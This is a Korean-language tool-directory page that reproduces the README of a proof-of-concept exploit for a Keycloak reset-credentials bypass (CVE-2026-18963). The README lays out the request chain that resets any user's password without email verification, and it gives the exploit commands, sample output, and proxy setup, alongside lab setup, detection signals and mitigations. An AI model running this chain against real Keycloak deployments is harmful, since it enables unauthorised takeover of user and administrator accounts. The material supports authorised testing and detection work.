Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAuthenticationLearning & Education
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

CVE-2026-18963에 대한 개념 증명 익스플로잇으로, 인증되지 않은 계정 탈취를 가능하게 하는 치명적인 Keycloak reset-credentials 우회 취약점입니다. 승인된 테스트를 위한 랩 설정, 탐지 지침 및 수정 절차를 포함합니다.

저장소 보기
318시간 20분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-18963 — Keycloak 자격 증명 재설정 우회 → 계정 탈취

Keycloak의 reset-credentials 흐름에서의 인증되지 않은 계정 탈취. 사용자 이름/이메일만 아는 공격자가 관리자를 포함한 모든 사용자의 비밀번호를 확인 이메일을 받지 않고도 재설정할 수 있습니다.

CVE CVSS CWE License


⚠️ 고지 — 윤리적 사용 전용

이 개념 증명(PoC)은 교육 목적, 방어적 연구, 탐지 엔지니어링, 그리고 승인된 보안 테스트를 위해서만 게시됩니다.

  • 소유하거나 테스트에 대한 명시적 서면 승인을 받은 시스템에만 사용하십시오. 허가 없이 시스템에 접근하거나 수정하는 것은 불법이며 비윤리적입니다.
  • 이는 팀이 CVE-2026-18963을 이해하고, 탐지하며, 수정하는 데 도움을 주기 위한 방어적/교육적 자료입니다 — 제3자를 공격하기 위한 것이 아닙니다.
  • 저자(red-darkin)는 이 코드로 수행되는 어떤 오용, 손해, 또는 불법 활동에 대해서도 책임이나 법적 책임을 지지 않습니다. 사용 방법과 모든 관련 법률 준수에 대한 책임은 전적으로 사용자에게 있습니다.
  • 이 저장소를 다운로드하거나 사용함으로써 동의하지 않는다면
이 약관에 동의하는 것입니다.
사용하지 마십시오.

전체 내용은 DISCLAIMER.md를 참조하십시오.


요약

CVECVE-2026-18963
심각도치명적 — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
약점CWE-640 — 취약한 비밀번호 복구 메커니즘
영향 범위Keycloak < 26.7.2 (업스트림). 26.6.6 / 26.4.15 번들로 수정된 RH 빌드 스트림도 포함
수정 버전Keycloak 26.7.2 (PR #51844)
전제 조건Realm에서 비밀번호 찾기(자격 증명 재설정) 활성화 — 기본값
영향모든 사용자(realm 관리자 포함)의 완전한 계정 탈취 → IdP 손상 + 횡적 SSO 접근

작동 원리 — 연결된 두 가지 버그

비밀번호 재설정(reset-credentials) 흐름은 일반적으로 새 비밀번호를 설정하기 전에 계정 소유자에게 이메일로 전송된 링크를 클릭하도록 강제합니다. 두 가지 결함으로 공격자는 이 확인을 완전히 건너뛸 수 있습니다:

  1. 범위가 지정되지 않은 "Try Another Way" 상태 — authenticator-selector 핸들러가 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 노트를 실행 ID에 범위를 지정하지 않고 저장합니다. 흐름에 다시 진입하면 인증 세션이 혼란스러운/오래된 상태로 남습니다.
  2. 이메일 단계에서의 토큰 검증 누락 — ResetCredentialEmail.action()이 ACTION_TOKEN_USER_ID를 검증하지 않고 context.success()를 호출합니다 (즉, 이메일로 전송된 액션 토큰이 실제로 소비되었는지 확인하지 않습니다).

이 둘을 연결하면 인증 세션이 임의의 사용자에 대해 이메일 없이 곧바로 UPDATE_PASSWORD 단계로 진행됩니다.

root@kitploit:~
GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

주석이 달린 패치 diff는 docs/ROOTCAUSE.md를 참조하십시오.


빠른 시작 (실습)

Docker와 requests 라이브러리가 포함된 Python 3이 필요합니다.

root@kitploit:~
# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

예상 출력 끝부분:

root@kitploit:~
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

그런 다음 victim / Pwned-2026!로 로그인하여 탈취를 확인하십시오.

음성 대조군 (패치 버전)

root@kitploit:~
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

사용법

root@kitploit:~
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

모든 HTTP 응답은 검사를 위해 ./dump/에 기록됩니다.


Burp를 통한 프록시 설정

Keycloak이 이미 8080을 사용하므로 Burp의 리스너를 다른 포트(예: 8081)로 지정하십시오:

root@kitploit:~
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Burp Repeater용 원시 요청 체인은 requests/burp-chain.txt에 있습니다.


탐지

동일한 인증 세션에서 이메일 검증이 선행되지 않은 비밀번호 변경을 찾으십시오:

  • 해당 세션에 대해 VERIFY_EMAIL / EXECUTE_ACTION_TOKEN이 없는 UPDATE_PASSWORD 이벤트.
  • tryAnotherWay=on을 포함한 reset-credentials 요청의 버스트.
  • 동일한 tab_id에 대한 login-actions/reset-credentials의 다중 재진입.

완화 조치

  • Keycloak 26.7.2로 업그레이드 (또는 수정된 RH 빌드 스트림) — 최우선 순위.
  • 임시 완화: Realm 설정 → 로그인 → 비밀번호 찾기 = 끄기.
  • 패치 이후: 관리자 자격 증명을 교체하고, 재설정 후 강제 재로그인을 적용하며, 위의 탐지 신호에 대해 알림을 설정하십시오.

참고 자료

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • 수정 PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • 이슈 #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

데모

전체 실행 과정은 CVE-2026-18963.mp4에 기록되어 있습니다 (저장소 루트에 있음).

크레딧

  • red-darkin — 실습 재현, PoC, 및 분석 문서 작성.
  • Claude (Anthropic) — 연구 및 PoC 개발 지원.

공개된 Keycloak 패치(PR #51844) 및 커뮤니티 분석 글과 대조하여 검증되었습니다.

라이선스

MIT © red-darkin — 교육 및 승인된 테스트 용도로만 사용하십시오.

도구 다운로드